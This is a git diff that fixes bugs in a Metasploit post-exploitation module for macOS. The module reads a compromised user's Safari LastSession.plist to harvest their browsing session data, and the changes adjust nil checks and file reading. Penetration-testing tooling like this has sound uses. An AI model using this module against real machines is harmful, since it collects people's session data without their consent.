diff --git a/modules/post/osx/gather/safari_lastsession.rb b/modules/post/osx/gather/safari_lastsession.rb index 5e88f44a0c..a254207d37 100644 --- a/modules/post/osx/gather/safari_lastsession.rb +++ b/modules/post/osx/gather/safari_lastsession.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Post f = read_file("/Applications/Safari.app/Contents/version.plist") xml = REXML::Document.new(f) rescue nil - return version if xml.root.nil? + return version if xml.nil? xml.elements['plist/dict'].each_element do |e| if e.text == 'CFBundleShortVersionString' @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Post # def plutil(filename) cmd_exec("plutil -convert xml1 #{filename}") - cmd_exec("cat #{filename}") + read_file(filename) end @@ -76,7 +76,7 @@ class Metasploit3 < Msf::Post # def get_lastsession print_status("#{peer} - Looking for LastSession.plist") - plutil("~/Library/Safari/LastSession.plist") + plutil("#{expand_path("~")}/Library/Safari/LastSession.plist") end @@ -89,7 +89,7 @@ class Metasploit3 < Msf::Post session_dict = nil xml = REXML::Document.new(lastsession) rescue nil - return nil if xml.root.nil? + return nil if xml.nil? xml.elements['plist'].each_element do |e| found = false